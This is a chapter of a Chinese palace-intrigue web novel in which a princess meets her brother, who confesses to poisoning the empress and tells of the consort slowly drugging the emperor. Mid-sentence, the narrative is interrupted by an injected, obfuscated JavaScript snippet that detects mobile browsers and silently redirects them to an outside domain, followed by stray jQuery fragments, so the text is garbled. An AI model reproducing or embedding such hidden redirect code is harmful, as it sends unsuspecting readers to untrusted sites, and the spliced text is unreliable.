187. 回环
作品:《棠颂》 李青棠从未想过这场对话会这样不欢而散,她原本想与李景言说一说明华宫的事情,现在是没必要了。原以为是多了个帮手,没想到多了个非敌非友。
云风比李青棠先回来,李青棠心事重重回到故云阁时云风正站在门外等,院子里宫侍们忙的不可开交,显然云风确实去见了那大师,也带回了东西。
“殿下,”云风迎上前来,“殿下,六皇子殿下叫奴婢给你传信,戌正时候他在萱堂等您,请您务必一见。”
又是萱堂,又是皇子,李青棠脚步沉重往院子里走:“六皇子现下在做什么?”
“奴婢见他时他正往明华宫去。”
“他说他戌正时候能出来到萱堂?”
云风也不好说:“六皇子只是这么和奴婢说了一声,奴婢不敢问。”
李青棠知道,眼下人人自危,都在找盟友,能搭把手最好,即使不能,她也是个很好的选择,至少她不喜选派,也不欲动工尊位。可这些人都小瞧了她的心思,人人自危之下焉有不自保之人。
思绪之间,云风已将她引回屋内,俞雪嫣带走了那名宫侍,当时混乱非常,她也不曾顾及安置,幸而是俞雪嫣在。
“云风,我有些饿了。”
明华宫如今只进不出,而进也必须要有李仞的首肯,李景谦不得宠,但或许因为不得宠,他反而能够进入明华宫,一来他养在叶静慈身边,二来李景暄信他认他,他留在外面没什么用处,进到明华宫反而算个主子……
那么他如何出来呢?他未必不知明华宫究竟发生了什么事。
云风端来饭菜,热乎的,只是大多为剩菜,李青棠不在意,她饿意来的急,短时间内叫人新做一桌反倒不敢享用。
李青棠用饭时还在想,饭饱之后云风叫人来收拾,她没想通,但她决定去看看。
这一次她带了云风。
黄昏之时总平添许多情绪,夕阳无限好,人世总扰扰。
萱堂一处或许也这么认为。
这条路走多了竟不觉得远了。
国母之丧终究没大过君王正在意的大事,密而不发,使得这宫里一片祥和,最要紧的无非几两月钱。
萱堂外一队宫侍向李青棠请安,李青棠受礼进萱堂内。
李景谦果然不在。
“殿下,马上戌正了。”
“那就等一等。”
李青棠有别的思索,叶静慈薨逝,贵妃为大,但她在宫中,封位品级可与贵妃较个高下,即使较不过也没什么要紧,大不了李仞杀了她。
然而未必,与李景言见面后她几乎可以确认李仞不会动她,那么没了皇后,公主未尝不可与贵妃争锋。
可是宫里死的死、关的关,她留下来竟毫无义趣……
“妹妹,”这温温柔柔地声音将神游的李青棠拉回来,李景谦伫立花丛之中,一身素衣冲她笑。
李青棠是喜欢这个哥哥的,没有这些事的话,他们一定聊得来。
“六哥,你找我?”
李景谦点点头,往前几步:“我还怕你不肯来,幸好你来了。”
“六哥找我什么事?”
李景谦走到亭下,回看四周,确实无人,他就势在亭子外躺下,将身体与花草融在一处,这样一来不论萱堂外有谁经过都不会发现他。
他在自保,也在保她。
李青棠看着他这般谨慎模样,心头微微一沉。
她示意云风守在亭外,自己则走到李景谦身侧,借着渐沉的暮色,若不细看,倒真看不出这里还躺着个人。
“六哥何必如此小心?”她轻声问道。
李景谦仰面望着渐暗的天空,声音压得极低:“妹妹聪慧,何必明知故问。明华宫如今什么情形,你我都心知肚明。”
李青棠沉默片刻,在他身侧的石阶上坐下,这个角度恰好能遮住他的身影。
“那你为何还要冒险出来?”
“因为有些话,再不说就来不及了。”李景谦侧过头,夜色中他的眼睛格外明亮,“明华宫如今情形皆是我所为,虽听起来有些骇人,但是实情。”
李景谦尽力让这话听起来不甚紧要,因为每一个字都可能吓到李青棠,这样的用意李青棠居然是领会的。
故而她没说话,只是静静坐着。
李景谦这才知道李青棠早已猜到了。
于是惊讶之人变成了李景谦,他抬头看了一阵,释然道:“你真的聪慧啊,这样的事没能瞒过你,你又一字不吐,你若是我亲妹妹就好了,因为你在我或许不会走到这一步……”很快他自己反驳了自己,“也未必,杀母之仇,不共戴天。像我这样不受重用又无甚本事的,苟活于世无非今日父皇明日兄,说不定皇子的身份最有用时会是某一个兄弟登基后,杀皇子以祭天,光宗耀祖。”
这话怎一个“乱”字了得。李青棠听懂了。
“可是现在他们还不知道是你做的,你有机会活着。”
“活着?不,没机会了,动手的那一刻就没机会了。”
“你,如何动手,父皇说皇后与洛华宫一样的病症。”
李景谦侧过身,用手肘杵着头和李青棠说话:“她从不许我靠近她……每次请安也都只在殿中叩头而已,只有父皇在时她会叫我去用饭。你大概不知道,你的母亲、先皇后是个极好的人,她在时后宫少有嫔妃折损,如今这些皇子除了太子就只有我没有母妃,那时候我还很小,她牵着我走到父皇面前说让我做她的孩子。时过经年我才知道,那晚母妃突发救济,腹痛难忍,她身边的凤仪女官送来红麻,逼迫母妃灌下,当时说的是不忍母妃疼痛,是对母妃好,我信了,那么多红麻,什么疼痛都没了……”
李青棠有些不忍听。
李景谦说着:“这宫里人人都有自己的秘密。你问我如何动手,其实很简单,父皇寝殿床头有处暗格,里面放着一样东西,医者称其为‘幻萼’”
“你是说在……”这一次李青棠被吓到了。
“小时候有一阵子,母妃接连好几个月没有侍寝,只有在明华宫请安后母后留我们吃点心时我才能偶尔见到父皇,我问母妃,母妃起初不说,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467657|159064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后来一次她和我说父皇床头有个暗格,侍寝时她无意间发现了,许是惹得父皇不悦。”
“你是偷来那里的幻萼下毒?”
“我哪里有通天本事去到父皇内殿偷东西,妹妹未免太看得起我。是母妃她识得药草,告诉我那是幻萼,后来我开始学医,景训那里书多,我二人又交好,我得以博览群书,才知幻萼究竟何物,也知京中宫中何处种有青干,此物实不易得啊。”
李青棠心中有疑:“既是幻萼,父皇难道只是不宠幸那么简单吗?”
李景谦侧目:“你果真知道了许多。不错,叶皇后杀我母亲或有父皇的默许……”
“所以呢?”李青棠有些着急。
“所以,我不是没想过弑父,是弑父,而非弑君。”
李青棠倒吸一口凉气,害怕之余不由得赞叹一句“好魄力”。
“可是我很快发现父皇早已外强中干,我不动手他也没多少寿数了。”
“这是为何?”
“贵妃。”
暮色彻底笼罩了萱堂,晚风拂过,花影摇曳,带着说不出的凄凉。
贵妃,卢诗月,寿国公之女,两位皇子的母亲。
“父皇早不往后宫来,你以为是因为什么?”李景谦问。
这件事早在公主府时就是李景谦提说的,今又提起,恍如隔世。
“父皇早已被药物折磨的提不起兴来,他恐自己时日无多,为太子……随阳王铺路,接你回宫。”
“随阳王彼时那般做大,父皇真有不测,太子登基便是……你是说贵妃?”
“是啊,”李景谦叹一句,“父皇之所以变成这样,是因为先皇后薨逝后贵妃专宠多年,期间为四皇子铺路,在父皇吃食、药浴、茶汤甚至熏香中少量多次加入不洁之物,待发现时已晚矣。”
“为争宠,叶皇后收养你,与贵妃成平衡姿态,而得知父皇时日恐无多,且难以回天,有人动摇太子根基,策划‘太子祭酒’一案,有人招赘驸马,勾结外族欲做女帝。”
“那时贵妃还不是贵妃。”李景谦提醒道。
李青棠了然:“我的回宫,我回宫后父皇有意将我引入叶皇后阵营,又赐我四字封号,并同时晋封贵妃,这是要我与叶皇后制衡贵妃的意思,也是让贵妃放松姿态,以为与后位仅差一步,那么矛头会转向我与皇后,父皇便可得以清闲,而我恰好又是废太子的亲妹妹……这么说来,‘太子祭酒’……”
李景谦甚至觉得有些可怕:“你太聪慧了,既然你都想得通,我也没什么好说的,我受人之托来与你说这些事,说清楚就行了。”
“什么人?”李青棠问。
李景谦却不肯再说。
入夜了,星河若隐若现。
“受人所托,忠人之事,我无憾了,如此……”
“等等,六哥是想去陪你的母妃吗?”李青棠神色肃穆,把刚坐起身的李景谦按回去,问。
李景谦恍惚间点点头。
李青棠却说:“六哥既然已经不想活了,不如替妹妹做件事吧。”